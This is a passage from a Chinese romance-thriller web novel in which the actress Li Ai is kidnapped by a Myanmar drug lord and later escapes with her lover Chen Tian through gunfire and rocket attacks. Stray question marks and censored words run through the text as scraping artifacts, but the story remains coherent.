“黎艾,”陈添的声音又?低下来,语调温柔而有力,“我?不是一个贪心的人,如果我?们?能有孩子,我?会很开?心,但没有,我?也会满足,因为我?有你?,有你?就够了。” 他低颈,深深望进她的眼,告诉她:“孩子不是我?人生的必选项,你?才是。” 黎艾愣住,眼泪却还在滴落。 陈添轻轻帮她擦去眼泪。 半晌,黎艾将头偏向一旁,避开?他的触碰。 她知道他总有更胜一筹的话术,不管他把话说得多漂亮,她始终还是认为,分?开?对两个人更好,她没有那样强大的心脏,不结婚,她会没安全?感,结婚,会毁了他的前程,而孩子,更是始终无法化解的死结,他说有她他就满足,可当看到他和别人家的小孩站在一起?,她知道自己?会控制不住去想—— 他一定还是想要一个自己?的孩子吧。 她爱他,但也许,她更爱她自己?。 前程、生死、孩子,这些他那方面的问题他都已自圆其说,而她还是不愿意跟他回去,归根结底,是不愿意自己?活得太有负担,在她这儿,他的牺牲始终是成立的,她不想活在这种牺牲造就的负担之下。 一直以来,她看似都在为他考虑,但其实,她好像更注重的是她自己的感受,她就想轻轻松松毫无负担的过。 如果陈添真的就是要跟她死磕到底,那回到他身边,对两个人来说会更好,可他们?往后的岁月还长,在泰国,他们?离死亡大概率也还远,她还有大把的时间与他周旋。 如果陈其允真的能把他赶出泰国,等时间冲淡一切,他们?都会有更好的结局,就算陈其允落败,谁又?知道再?过几个月,几年,他会不会移情别恋,如果他当真那么深情,真的就非他不可,到时候她再和他回去也不迟。 于是,她说:“我?不接受。” “我?会让你?接受。”陈添语气平静,笃定。 “停车,我?要下车。” 说完这话,黎艾忽然发现,他们?就在陈其允的别墅外。 车子一直就围着外面?那条街转圈,压根没往别的地方开?。 陈添没想过今天就将她带走,猫还在陈其允那儿,就算黎艾愿意跟他走,陈其允肯定也不会放猫。 车停下来,但车门没开?。 黎艾推车门,没推动,这时,身后传来陈添低沉独特的嗓音。 “我?不会让你?在这里住太久,过不了多久,我?会把你?接出来。” “我?不需要你?接。” 彼时,黎艾脸上已看不出哭过的痕迹,表情冷淡。 陈添不打算与她再?争辩,今天听到她说她爱他,他已然挺满足,摆了摆手让司机开?门。 “咔”的一声轻响,车门打开?。 黎艾下车,径直往陈其允的别墅里走。 门口站着一帮人,在她离门口还有一段距离时,二十来号人有序往两边靠,中间让出一条路,一个穿着白色T恤的男人走到前面?来,一只手打着石膏。 “刚刚怎么回事?”男人问。 “没什么,某人演上戏了。”黎艾迈过他。 男人跟上去,“他要再?不放你?回来,我?一定再?送他去监狱。” 黎艾瞟一眼他打着石膏的右手,“你?还是少自讨苦吃吧。” 男人轻笑了声,“如果我?说,我?昨天其实挺开?心的,没觉得是自讨苦吃,你?会不会觉得我?疯了?” 对他说的,黎艾没有多吃惊,只眉尾微动了一下,停下来睨向他说:“你?早疯了,你?就是个受虐狂陈其允。” “被你?发现了啊,”陈其允缓缓扬起?唇,看向她的眼神里尽是病态的兴味,“什么时候你?才能再?扇我?一耳光?” “这么喜欢被扇,花钱雇个人专门扇你?不就得了?” “可我?就想被你?扇。” 黎艾心头微微一动,不是因为他而动,是因为这句话让她想到陈添曾经说的: 被骂不是我?的喜好,被你?骂才是。 “昨天我?是真的开?心,尤其吃饭那会儿,除了,”陈其允语调拉长了一秒,眼神沉了沉,“看到他亲你?的时候。” 黎艾不知道他要表达什么,也不想知道,转身就要走。 “黎艾。”陈其允喊住她。 黎艾脚下一顿,没继续往前走,但表情颇为不耐烦。 陈其允站在她身后,望着她的背影,“我?好像有点明白,他为什么非你?不可了。” 黎艾在感情上并非一个很木讷的人,他的上一句,她还可以能理解为是陈添让他失了面?子才让他恼怒,但加上这一句,那完全?就是明晃晃地在跟她表明心意。 黎艾转头,冷声同他说:“你?不明白。” 她和陈添有整整五年的感情,她和他,不过朝夕。 她没有再?和陈其允多说一句话,也没告诉他,她在陈添面?前承认了爱他的事。 是以,接下来的日子里,陈其允还让她配合着出演情侣,结果是一而再?再?而三的被陈添从他身边将她强行拽走。 一个月下来,黎艾打算给自己?放个假。 这天,陈其允有事出了门,黎艾带着二十来号保镖去郊外写生。 黎艾吃完午饭便出了门,一下午,无人打扰。 天气晴朗,郊外的风景很美,可惜傍晚天边浓云堆积,看不到落日与晚霞,黎艾遂收拾东西准备回去。 收拾到一半,身后传来汽车的引擎声,黎艾第一反应是皱眉。 回头,她看到不远处驶过来□□辆车,一群穿着黑T的男人从车里出来,看着像陈添的人。 两拨人面?对面?站着,也不知道是谁率先?动了手,很快四?十多号人就打作一团。 从那群人下车,到打起?来,左右不过两分?钟时间,黎艾压根没想到他们?会直接开?打。 这在郊外,两拨人打得不可开?交,不停有人摔到地面?,地上的沙尘扬起?来,像一场沙尘暴。 漫天的飞沙里,黎艾看到一双长腿从远处的黑色轿车里迈出来。 那双长腿的拥有者?穿过混乱的人群,来到她面?前。 耳边是让人难以忽视的打斗声,黎艾看着眼前的男人,本?就被点燃的情绪愈演愈烈,“你?又?想干什么?” “和我?去个地方。”说着,男人伸手过来握住她手腕。 黎艾用力将他甩开?,这一个月里,他每次就这样不由分?说地握住她的手,然后一次又?一次强行将她拽走,丝毫不考虑她的意愿,她真的烦透了,满腔怒火地冲他吼道:“陈添你?他妈没我?活不了是吧?!” 她是在骂他,没问他,他却回答:“是,没你?活不了。” “去你?妈的,你?以为你?情圣吗?你?就是个疯子!神经病!变态!” 像跟前打得失去理智的人一样,她全?然失控,忘了眼前这人就喜欢被她骂,上一次她这样不顾一切的骂他,还是几个月前,准备离开?他时,那个无比疯狂的夜晚。 陈添眼底掠起?笑意,眸色深了些,像沉浸进了某些疯狂、刺激又?快乐到近乎极致的回忆里。 他掀唇,表情愉悦,“继续骂。” 黎艾猛地愣住。 理智回拢,那一夜的回忆被骤然间勾起?,铺天盖地的浮现在脑海。 “继续啊,”陈添靠过来,“宝贝。” 黎艾用力紧抿双唇,狠狠瞪他。 “不闹了?” 黎艾不吭声。 陈添再?次去拉她的手腕,“那跟我?走。” “我?不走!” 黎艾死命将脚杵进土里,试图增加摩擦力让陈添拉不动她,但有用吗,没用,她就算把半边脚后跟埋土里当刹车片,陈添也能轻轻松松拉着她走二里地。 看她实在不情愿,陈添拉着她走了两步后停下来。 “你?跟陈其允一块儿住了这么久,知道他是干嘛的吗?” 被他这么没头没脑地问了一句,黎艾有些费解,“不就是跟你?一样做生意的。” 陈添哼笑一声,“我?可不做毒一品生意。” 黎艾双眸猛地睁大,“你?说什么?” “不相信?” 黎艾倒也不是不相信,但贩一毒这么大的罪名,当然不能只听一面?之词,“你?有什么证据?” “他要能让我?这么快就找着证据,那他在泰国这五年真白混了。” “没证据你?在这儿乱说什么?” “所以才带你?去看,我?的推测从何而来。” 黎艾微侧了下头,神情疑惑,这种?事还能推测? “去不去?”陈添问她。 “去。” 当然去。 她与陈其允虽然只是各取所需,但如果他真的贩一毒,她一定立马离开?泰国。 “走吧。” 陈添松开?她的手,走在前面?。 黎艾看了两秒他的背影,沉沉气跟上,和他进了同一辆车。 车辆驶离郊外,最终停下的地方也是一处城郊。 这边的建筑不像城市里那么密集,间隔百来米才有一栋房子,看建筑风格,不像私人房屋,更像是会所或茶肆之类的场所。 陈添带黎艾来的地方就是一个私人会所,他们?跟着侍应生进了间屋子,里面?就一张沙发,一张大理石桌,和一台投影仪。 拉着黎艾在沙发上坐下,陈添看了眼表,“还没到时间。” 他转头看向黎艾,“饿了吗?要不要吃点儿什么?” 黎艾是有些饿了,但她没说,也不用她说,陈添看了眼她表情后便伸手打了个响指。 侍应生躬身将点菜的iPad递给他,陈添接过,又?递给黎艾,“你?点。” 黎艾没客气,拿过来随便点了几个菜,陈添没点。 等菜上了,黎艾没管他,自顾自吃着,陈添倚在沙发上看她。 等黎艾吃到一半,叶尧敲了敲门从外面?进来,俯身在陈添耳旁说了些什么,然后将手里一枚U盘插进了投影仪。 黎艾放下筷子看向出现投影的那面?墙。 很快,投影里出现了一些场景,看着像是某个宴会的实时拍摄画面?,舞台上有一群孩子在表演。 站在前面?唱歌的小孩生着一副很容易辨认的中国面?孔,旁边弹琴的是名白人小孩,伴舞里则什么人种?的小孩儿都有。 小艺术家们?表演得特别好,舞台的灯光和布景也十分?具有观赏性?,但看着却怪怪的,既不像是在剧院,又?不像电视节目的演播厅,镜头有扫到一些舞台下的餐桌,餐桌离舞台非常近,完全?超出正常范畴的距离,就算是酒吧驻场歌手的舞台离酒桌都没那么近。 这样近的距离不像是在欣赏,更像是……挑选。 黎艾脑海里冒出这么个念头。 接着,镜头一转,黎艾在扔微微抖动的画面?里一眼看到了坐在台下的陈其允。 出于某种?直觉,黎艾眉头紧皱。 陈添在这时开?口:“知道他旁边坐着的那个泰国人是谁吗?” “不知道。” “警察总署署长。”陈添告诉她。 “警察总署署长又?怎么了?” 陈添缓缓开?口:“近二十年来,泰国共上任了8名警察总署署长,其中有五名都被查出涉毒。” 黎艾表情微怔。 陈添看着她,稍稍凑过来一些,掀唇笑道:“你?猜,这位警察总署署长,干净吗?” 黎艾知道陈添不仅仅是因此就推测陈其允贩一毒,转头看向投影的画面?,她问他:“他们?在干什么?” “知道萝莉岛吧?” 黎艾猛地一惊,愕然将头转回来看着陈添。 “你?看到的,”陈添告诉她,“就是泰国的萝莉岛。” 黎艾被惊得说不出话。 她眼底有顷刻烧得剧烈的怒意,双手紧握成拳,可隔着投影,她的怒火根本?无处发泄。 陈添在回答她上一个问题时就收起?了脸上的笑,此刻他表情冷肃,沉声问她:“想救他们?吗?” “怎么救?” “我?们?拿不到他们?侵害孩子们?的实质证据,所以想救他们?,只有一个办法,把他们?偷出来。” “偷出来?可这群小孩儿人数这么多,能怎么偷?” 陈添笑起?来,“当然需要借助一些非常手段。” 他这句话刚说完,黎艾只听投影仪里传来“嘣”的一声巨响,像是画面?里的建筑附近发生了爆炸,投影画面?剧烈摇晃了两下,紧接着,是第二阵爆炸声,第三阵……镜头里的人纷纷尖叫着抱头往外跑,舞台上的小孩儿们?有的哭喊着愣在原地,有的跟着台下的大人往外跑,但发生了爆炸,这些大人物怎么可能管小孩儿们?的死活,一个个迅速奔向了自己?私家车,立马驱车驶离。 这样的爆炸势必会引来警方和媒体,没有任何一个之前在台下坐着的人敢留在现场,而且爆炸持续不断的在发生,一声声爆炸完全?不给人任何的思考机会,尽管有人察觉异常,也只会选择先?上车离开?,是以没人察觉园子里突然多出了很多侍应生打扮的人将一个个孩子抱去了某个角落。 都搞出了爆炸,证明这是一场巨大的赌局,陈添所在的那一方一定进行了周密的谋划,所以,即便黎艾并没有看到孩子们?被救走的画面?,也丝毫不担心他们?会出事,只眉头紧锁地继续盯着投影的画面?,她断定,这场爆炸绝不会只是为了救出这帮孩子。 如她所料,这场爆炸还有后续,投影的内容在一分?钟后切换到了另一个镜头,从拍摄角度来看,投影仪内的程序连接的是某个建筑的室外监控。 画面?里,一辆又?一辆车飞驰而过,似乎都是从刚刚爆炸的那地方开?出的车。 忽然,投影仪里再?次传来巨大的爆炸声,一辆黑色轿车被炸出了车道。 爆炸产生的气浪使得监控画面?模糊了片刻,等监控稳定下来,画面?里那辆车的铁皮几乎已经完全?被炸毁,只剩一个车架在熊熊燃烧,可想而知,坐在车里的人必然已葬身火海。 黎艾瞪大双眼看着这一幕,瞳孔震颤着。 “猜得到里面?的人是谁吗?” 耳边传来陈添带笑的嗓音,黎艾怔怔转头看向他,看着他脸上的笑,表情比刚刚目睹那场爆炸还要惊恐,仿佛眼前的人是地狱里淌血的恶魔。 “你?……”嗓子里有明显的阻塞感,黎艾有些说不出话,也不知道该说什么。 这场爆炸,如果是他一手造成,那即便陈其允贩一毒,他们?两人谁又?比谁高尚,都是恐怖分?子。 “放心,不是陈其允,还有,”陈添补充,“这场爆炸也跟我?没多大关系。” “那被炸的人是谁?” 其实不难猜,但黎艾现在脑子根本?没法运转。 “森萨,那位警察总署署长。” 黎艾表情淡淡。 如果真如陈添所说,她刚刚看到的是泰国的萝莉岛,那这名所谓的警察总署署长可真该死。 “森萨一死,”陈添伸手抬起?黎艾的下巴,一边轻轻摩挲她的肌肤,一边缓缓笑起?来,“你?说,他现在拿什么跟我?争?” 黎艾一直都不知道陈其允背后的势力纽带,无法得知这名警察总署署长的死会给陈其允带来多大的损失,她也并不关心,毕竟陈其允说过,即便他输了,他也会带她去一个陈添找不到的地方,她现在关心的只有一件事:“你?不是说陈其允贩一毒?” “死人最适合用来背锅和定罪,森萨一死,如果他真的涉毒,下一任警察总署署长上任的第一件事,就是打击他背后的贩一毒分?子来作为政绩或撇清自己?的立场,而其中若有陈其允,他现在会做的也只有一件事,”陈添竖起?一根手指,笑着启唇,“跑。” 那么,要验证陈其允是否贩一毒就非常简单了。 想到陈其允如果真的会跑,黎艾忽然反应剧烈,“那你?赶紧送我?回去!” “你?觉得到了这种?关头,我?还可能让你?回去?” “那黎小二怎么办?!” 陈添愣了愣。 半秒后,他将视线移向一旁。 他不是没考虑过黎小二。 陈其允一定清楚黎小二是黎艾的软肋,所以即便他一次次把黎艾带走,陈其允始终没有过激的反应,知道只要黎小二还在,黎艾就肯定会回去。 黎小二是只猫,一只小小的猫,轻轻松松就能藏起?来,也随时可以拿来作为挟持的对象,他根本?没有办法从陈其允手里把黎小二抢出来。 看他的表情,黎艾当然什么都明白了。 “陈添,”黎艾的声音沉下去,“我?不会生孩子,但黎小二就是我?的孩子,我?不会丢下它。” “所以你?要回去?” 陈添自然也想到过现在的情况,他本?想试图让她相信,他日后会用尽一切办法把黎小二抢回来,但显然,黎艾铁了心要回去,他在问出这句话时就已经知道了她的答案。 黎艾朝他伸手,“给我?一把枪,我?会想办法把黎小二带出来。” 陈添定定看着她,两人对视。 陈添很清楚,今天他如果不让她回去,日后又?没能救出黎小二,那他与黎艾之间便真的彻底没了可能,但如果让她回去,他无法确定陈其允在被逼到这种?境地时会对她做出什么样的事,两者?相较,他当然宁愿选前者?,即便余生她都会恨着他,至少她还能在他身边,但看着她的眼睛…… 对视到最后,他一手伸向背后,取下腰间的枪递到她手上。 “陈其允要是带着你?跑了,就算跑到南极,跑到火星,我?也给你?追回来。” 他还看着她,说出的每一个字都带着死誓一般的决心。 “我?信你?。” 黎艾如是说。 她将枪放进包里,站起?来,“送我?回去吧。”- 黎艾回到别墅。 这会儿陈其允还没回来。 回来第一件事当然是去找黎小二,但黎艾没能找到。 她才刚刚迈入室内一步,很忽然地就被门口的保镖按在了地上,连一丝摸枪的机会都没有。 被按到地上时,她的身体贴在了冰冷的大理石板上,体温骤降,她整颗心也顿时凉了大半。 她很清楚,这意味着什么。 挣扎已然没有意义,她现在只盼着,对方不会注意到陈添在送她回来时为她戴上的那条装有定位系统的手链。 然而,她的希望很快落空。 两名男人带着她走向停在草坪上的一架直升机,在登上直升机之前,他们?用金属扫描仪检查了她的全?身,但凡是定位器,里面?必定含有金属,手链被他们?取下来丢在了草坪上。 黎艾转头看着那条手链,整个人被不安所笼罩。 被架进机舱,直升机很快起?飞。 看着一片漆黑的夜空,黎艾全?然不知自己?即将面?临什么,想到陈其允是一名毒一贩,她后背顷刻出了密密的一层冷汗。 作为一名中国人,对毒一贩的恐惧似乎刻进了骨子里,哪怕是再?不怕死的人。 在毒一贩手里,死算不了什么,活着才是最恐怖的事。 被巨大的恐惧包围,黎艾手脚冰凉。 比起?自己?可能会面?临被人注射毒一品,被折磨,被凌虐,她更怕,陈添也因为她落到陈其允手里。 此时的恐惧感达到了她生平的最高值,即便是陈添假装中枪时,她也没有害怕成这样。 那天就算陈添不是演戏,真的会死,也比落到毒贩手里好一万倍,更何况是一个恨他入骨,还因他断了财路,不再?有任何顾忌的毒一贩。 她不是没想过陈其允会立刻带她一起?跑,但因为有枪,她以为她至少还能选择自戕。 大概是陈其允一直以来从未对她动粗,让她丝毫没有料到她会这样轻易地被缴械。 那陈添呢? 他会想到一切最糟糕的可能吗? 她不知道。 现在她无法思考。 直升机在夜空里航行了两个小时,这两个小时里,黎艾一直在发抖,脑神经始终处于高度紧绷的状态,似乎随时都会崩断。 下了直升机,两个男人将她带到了一辆越野车上。 在车里,她听到他们?与其他人交谈的声音,用的不是泰语,她立刻意识到,现在他们?应该是在泰国和缅甸的边境。 缅甸…… 黎艾重重闭了闭眼。 她后悔了,后悔来泰国,后悔离开?中国,外面?的世界远比她想的要险恶,她以为自己?不怕死,就有着可以接受一切的心境,但她有太多都不能接受,在宿厘岛时,她还以为就算是他和陈添一起?死在那座岛上,也好过余生相互折磨,但在真正经历生死的考验后她才知道,她无法接受陈添因她而死,她想他好好活着。 此刻,她下了个决心: 如果这一次,她和陈添能平安,她会和他回到中国,回到他身边。 是在这样的处境下,她才想明白,陈添如果做不到如他所说一辈子认定了她,他们?一直在一起?他也会做不到,而如果他真的就是一辈子认定了她,他们?就算一直不在一起?,他也还是始终会孤身一个人,不会走向她期盼他拥有的那个结局,根本?无需浪费几年的时间去验证。 意外和死亡随时都可能降临,既然相爱,那就该珍惜每一天,好好在一起?。 这样的觉悟,如果不经历这些,很难让人真正放下那些隔阂,只有经历过,才会知道什么是: 生死之外无大事- 在边境短暂停留一段时间后,车子进入了缅甸境内,在中途换了一辆车又?经历长达十小时的颠簸后,车子进入了一个寨子。 从车窗望出去,能看到大片大片的罂粟田,正值花期的罂粟艳丽如血,血染大地,花海美如梦境,却是真实的人间炼狱。 黎艾想起?来,陈其允跟她说过,会带她去一个陈添找不到,而她并不愿意去的地方,一定就是这里了。 这里,她的确死也不愿意来。 车子最终停在一栋木屋前。 她被带下车,木屋的门打开?,里面?走出一个男人。 男人戴了副眼镜,长着一张学生时代?成绩很好的学霸脸,五官清俊,模样和陈其允看着有几分?神似,但两个人的气质大相径庭,眼前这人即便戴着眼镜也丝毫掩盖不住一身的凶悍匪气,一眼便能让人分?辨出,这是个极度危险的人物。 两人之间有着几米的距离,男人抽着一支雪茄朝黎艾走过来。 待距离近了,他脸上挂起?一抹笑。 “欢迎来到缅甸,黎小姐。” 他的声音是清润的,带笑的,却听得人骨缝发冷。 黎艾盯着他,一言不发。 “黎小姐,我?看过你?的电影,你?本?人比电影里还要漂亮很多。” 这话,黎艾听太多人说过。 “对了,”男人轻挑唇,“忘了自我?介绍,我?叫陈江川,我?知道你?不认识我?,但你?认识我?哥,亲哥。” “你?哥是陈其允?”黎艾开?口。 “不然?难道还能是陈添?” 听他提到陈添,黎艾眉头一蹙。 “黎小姐不用紧张,我?跟我?哥不一样,对陈添没什么意见,那些陈家人都想要的位置,我?不稀罕,一个规矩多得要死的破地方,哪有在这里自在。”陈江川张开?手臂,笑得恣意且傲然。 “不过,”他语调忽然一沉,眼神也瞬间变得阴鸷,“我?现在对他很有意见,他挡了我?的财路。” 黎艾心脏骤然一缩,神色紧结地问他:“你?想做什么?” “当然是让他赔偿我?的损失,”陈江川又?再?次笑起?来,“所以我?请黎小姐来做做客,你?在这儿,他才能心甘情愿地送来我?损失的钞票,还有……” 他语调拉长,唇边笑弧扩大,“他的脑袋。” 脑子里有一瞬的空白,接着,黎艾眼底爆发出滔天怒意,恨不得用眼神将他生吞活剥。 看着她的表情,陈江川脸上笑意愈浓。 因为太过愤怒,黎艾没有听到身后在这时传来了车辆的引擎声,直到另一个人影冲到她面?前。 “黎黎!” 会在这里这样喊她的,自然只有陈其允。 陈其允紧张地握着她的双肩,视线慌张地上下查看她是否有受伤或别的痕迹。 “哥,你?真觉得我?会对你?的女人做什么?”陈江川看陈其允那一脸紧张的表情,笑了声,“挂你?电话只是吓吓你?,你?也该体会体会我?的心情。” 知道黎艾没事,陈其允冷静下来,转头看向陈江川。 他似乎有些无言面?对陈江川,沉默着没有开?口。 “哥,”陈江川朝陈其允迈过来两步,“如果不是你?把陈添引来泰国,死一个森萨也不是什么大事,但现在,你?知道现在我?要花多少钱才能打通泰国政府吗?” 面?对他的质问,陈其允低下头,“是我?的问题,你?想怎么处置我?都可以,别难为她。” 陈江川抬起?胳膊将手放到陈其允肩膀上,“你?是我?哥,我?怎么会处置你?,没有你?当初帮我?逃出来,也没有现在的我?。” “那你?把她绑来干什么?” “不把她绑来,我?怎么向陈添拿回我?的损失?” 陈其允一愣。 陈江川笑笑,“我?已经给陈添打了电话,让他拿三百亿来换黎小姐,本?来我?想让你?去见他最后一面?,但我?怕你?因为女人心软放过他们?,所以,哥哥你?就在这寨子里好好待着,我?亲自去会会你?的这位宿敌。” “你?……”陈其允顿了顿,“什么意思?” “放心,”陈江川拍了拍他肩膀,“我?会把黎小姐给你?带回来,顺便把陈添的脑袋也给你?带回来。” 陈其允脸色顿时变得煞白。 没人知道他在想什么。 “川哥,”旁边一个男人走过来,“可以出发了。” 陈江川笑着最后拍了下陈其允的肩膀,“哥,等我?好消息。” 陈其允看向被拉到一边的黎艾,眼神复杂。 他似乎想向她走过去,可最终直到黎艾被人带上车,他始终站在原地,一步未移。 这次被带上车,车子从另一个方向出了寨子,黎艾在车上看到在田坎上奔跑欢笑的小孩儿,路边的屋檐下,能看见一些分?不出年龄的男女,个个身材干瘪得可怕,只剩下一层枯木般的皮,眼神空洞麻木,像坐着在等死。 那些欢笑着的小孩儿大概还从未想过,他们?也会像这些人一样,被这座寨子吸干所有血肉,变成一具被罂粟将灵魂啃噬殆尽的干尸。 车子摇摇晃晃地行驶了五个小时,于一天里晴光最好的时刻,停在一处极其开?阔的平原上。 透过前挡风玻璃,黎艾能看到有两辆车在前方的空地处停着,距离还很远,她看不清车内那些人的面?孔,但光凭一个模糊的轮廓,她便能认出,其中一辆车上坐着的人,是陈添。 泪水在一瞬间模糊了双眼。 陈添一定知道,来这一趟,他很可能会用这三百亿和他的性?命换来竹篮打水一场空,但他还是来了。 她也知道,哪怕只有百分?之一,千分?之一,万分?之一的可能救回他,他也一定回来,甚至救出她的概率为零,他还是会来。 来看看她。 傻子。 这世上再?没比他更傻的人。 这十多个小时,黎艾害怕得浑身发冷,浑身颤抖,心脏像随时会在下一秒停掉,但她没哭,这一刻,她只是看到一个模糊的影子,眼泪就再?也止不住。 眼泪漫过瞳孔,让那抹人影变得更加模糊,她的手被绑在身后,没办法擦去眼泪,她想看得清楚一些,只能眨眼,让眼睑将眼泪挤出眼眶,可泪水实在太汹涌,哪怕离得近了,她也怎么都看不清。 他在她眼里始终是模糊的,虚化的,像怎么都抓不住的梦。 车停下来,坐在副驾驶的陈江川拿起?一个对讲机,对着对讲机开?口:“哥,三百亿准备好了吗?” 下一秒,黎艾听见对讲机里传来陈添的声音:“要清点吗?” 耳朵嗡的一声,黎艾眼底的泪愈发汹涌,听着他的声音,她忽觉心底一阵抽痛,像活生生抽掉一根骨头,疼得她全?身都不能动弹。 “当然不用,”陈江川笑着透过后视镜看了眼黎艾,“黎小姐在这儿,我?想你?绝不会少一分?钱。” “钱在车后面?,你?让人来搬,我?现在下车,把黎艾还我?,不要耍花样,这车上我?放了炸弹,引爆按钮在我?的牙齿上,只要我?用力一咬,你?们?所有人都得死。” 对讲机里传出的声音冷静、沉稳。 陈江川的笑容凝固在脸上。 半晌,他才接着开?口:“真不愧是你?啊,陈添。” 陈添只回了他五个字:“把黎艾还我?。” “还你?,现在就还。” 陈江川朝后面?做了个手势。 后座的一名男人取下黎艾口中的毛巾,带着她下车。 看到黎艾出来,陈添也立马下车,将身体完全?暴露在对方的攻击范围内。 男人将黎艾一把推过来,陈添奔过来伸手接住她。 被熟悉的气息包围,黎艾在他怀里抬头,终于,她看清了他的脸。 在他的瞳孔里,她也看到了自己?影子。 像是死去一回又?活了过来,此时此刻,她才感受到眼前的他是真实的。 “没事了,我?来接你?了,”陈添伸手为她擦去眼泪,笑着对她说,“黎小二我?已经接出来了,我?带你?回去见它。” 黎艾忍住眼泪,点头。 “我?们?先?上车。” 车上装的是防弹玻璃,现在陈江川的都下来了,正朝着这辆车的后座走,他们?最好不要拿后背对着他们?,有什么话上车再?说更好,但这个关头,并不适合谈情说爱,黎艾和陈添上车后没有再?说话,陈添在为她剪断身上的绳索后始终保持警惕地盯着前方,但也没忘伸手与她十指紧扣。 车后面?的金条与现金很快被搬空,对讲机里响起?陈江川的声音:“你?们?可以走了。” 陈江川透过挡风玻璃朝他们?挥手,笑着说:“一路顺风。” 看着他的笑,黎艾心里一阵阵恶寒。 陈添关上对讲机,去踩离合,一边起?步一边对黎艾说:“你?的座位下面?有个暗门,里面?有个背包,你?拿出来,里面?有枪和衣服,你?把衣服换了,陈江川不会这么轻易放我?们?走。” 他说完,车刚好掉头,黎艾立马埋头下去取包。 拿了包,从里面?拿出两把枪,黎艾问他:“这车上真的有炸弹吗?” “有,但这颗炸弹保不了我?们?的命,他们?这种?毒一贩手里肯定有火箭炮,只要我?们?跑出一段距离,他们?就会对我?们?开?火。”陈添一边说着,一边将油门用力踩到底。 “那我?们?怎么办?” 黎艾的神情没有丝毫慌乱,被炸死不过一瞬间的事,比起?落到他们?手里,不知好了几万倍。 “看到前面?那片林子了吗?”陈添也十分?镇定,“我?们?进去。” 陈添猜得没错,车子刚开?出去没几百米,后面?就追上来了六辆车,并呈梯形队势前进,其中当然不包括陈江川那辆,毒一贩身边最不缺的就是敢死队,多的是人愿意冒着生命危险为他做事。 跟过来的六辆车里有一辆改装车,车顶架着个火箭炮,在陈添他们?的车距离林子还有起?码四?千米距离时,后方打出了第一发火箭炮。 “咻——” 火箭炮的声音如同索命的弦音。 陈添看了眼后视镜,狂打方向盘,车子往右漂移出一个大弯,躲过了这枚炮弹。 陈添当过特种?兵,对弹道轨迹比那些武装兵更为了解,从后视镜里看一眼就能判断出火箭炮大概会落在哪儿,往哪儿开?能最大程度避开?爆炸范围,换其他人来,就算没被火箭炮精准击中,也很可能会被爆炸时产生的威力将车子掀翻。 车子拐了弯继续往前方的林子开?,只要后面?没发射火箭炮,他都走直线,尽量早一点抵达。 他全?速行驶,期间又?有几枚炮弹打过来,虽都被他成功避开?,车子也险些被掀翻。 眼看终于抵达森林边界,陈添却没有停车,而是绕着森林边缘环行,现在下去只会被炮弹炸得骨头都不剩,要趁他们?换弹的时候下车才行,等又?一枚炮弹在车辆不远处炸开?,陈添一脚将车刹停,“下车!” 两个人已最快的速度下车,在对方还没反应过来时便已隐匿进了植被茂密的林子。 他们?一钻进林子,身后立马响起?一阵密密麻麻的枪声,不计其数的子弹重重钉入树干。 千钧一发之际,陈添没机会让黎艾把背包给他,黎艾背着一整包的武器丝毫没拖后腿,始终和他跑在同一水平线。 之前在林子里生活的那一个月,黎艾已经完全?掌握了如何在山林里快速穿行。 “把包给我?。” 在林子里跑出一百多米,陈添冲黎艾喊了声。 黎艾把包丢给他。 两人继续呈45度角的方向往前跑,后边那些武装兵以为他们?跑的的直线,估摸着距离打出一发火箭炮,炮弹落在了对他们?全?然造不成伤害的地方,而陈添却精准预估了他们?抵达森林边缘的时间,用力一咬牙,引爆了藏在车内的炸弹。 “嘣——!” 炸弹掀翻了冲在最前面?的两辆车,其中包括那辆携带了火箭炮的改装车。 剩下四?辆车陆陆续续停在林子边上,二十号人从车里下来,追着黎艾和陈添进了林子。 这些武装兵也不是吃素的,在林中的行径速度非常快,还通过地面?的痕迹大致判断出了两人逃跑的大致方向,完全?靠观察地面?痕迹的方式虽然精准但会大幅降低搜寻速度,二十号人分?为了四?波朝他们?逃跑的大致方向快步追过去。 黎艾和陈添一路往前狂奔,上天眷顾,在乱石嶙峋,藤蔓密布的地形下,两人都没有摔倒。 这情况,谁要是摔伤了腿,除非找个地方藏起?来,不然用不了多久就会被追上,但要是藏,更只有死路一条,陈添来时有路过这片林子,知道林子面?积不大,还是平原地势,很容易就能被找到。 黎艾平日的体力并没有多好,可生死关头,人体的所有潜能都会被激发,两人愣是几乎一步没停的狂奔了三个小时,只中途在渡河的时候喝了几口水。 陈江川能混到成为拥有领土权的毒一贩,做事自然无比谨慎,他知道陈添身上一定带着定位器,让陈添送钱来的这条路几乎全?是一望无际的平原,还一路放哨,原本?来接应陈添给他引路的车有七辆,到一个点车上就放下去一个人盯梢,最后只剩下一辆给他引路,为的就是确保没人跟过来。 在这种?情况下,陈添的人根本?没办法第一时间赶来支援。 历时三小时,支援还没赶来,但他们?已经跑到了山林的边缘,眼前是一片辽阔的平原。 这样的平原对于现在的他们?来说,无异于一个靶场,如果继续往前跑,他们?两个人会成为移动的活靶。 陈添似乎早已预料到他们?会在支援抵达前穿过山林,在看到这片平原时,对比黎艾的无措,他表情很平静。 “我?们?现在怎么办?”黎艾喘着气。 陈添转身,没有回答,沉默地取下手腕上的手表,拉过黎艾的手想为她戴上。 “你?干什么?!”黎艾在他触碰到她时猛地收回手,出于一种?不好的直觉。 “这块表里有定位器,你?戴着它,往前跑,叶尧会找到你?。” “你?呢?”黎艾将手背到身后,不让他给她戴表,还往后退了一步,“别告诉我?,你?要为我?垫后。” “黎艾,你?听我?说,”陈添难得表情肃穆,“他们?至少有二十个人,还是武装兵,你?没有作战经验,如果我?们?一起?留在这片林子里,我?们?两个人都会死,你?一个人往前跑,你?能活下来,我?也不用顾忌你?,那样我?还有活下来的可能。” 听他说完,黎艾眼底已然积满了泪,都不用眨眼,也不用风吹,便落了下来。 他就是要为她垫后。 二十个武装兵,他要怎么一个人活下来? “陈……”她想喊他的名字,告诉他,要死他们?一起?死,可嗓子实在堵塞得厉害,一时间竟失了声。 “什么也别说了,”陈添轻轻捧起?她的脸,“他们?很快就会追上来,我?们?没有时间了,昨晚我?让你?一个人冒了回险,今天,你?也让我?一个人冒一次险吧。” 黎艾摇头,眼泪一滴一滴滑落到他手上。 “我?会活着回来见你?,”陈添定定看着他的眼睛,“相信我?。” 说着,他将那枚手表塞进她手里,然后用力将她往前推了一把,“跑。” 黎艾当然清楚,如果她留下来,只会成为他的拖累,带着她面?对二十个武装兵,他们?没有任何生还的可能,如他所说,他一个人,至少还有那么百分?之一的可能,可是,可是…… “记着,你?没有丢下我?,”陈添告诉她,“等和叶尧汇合,你?再?回来找我?。” 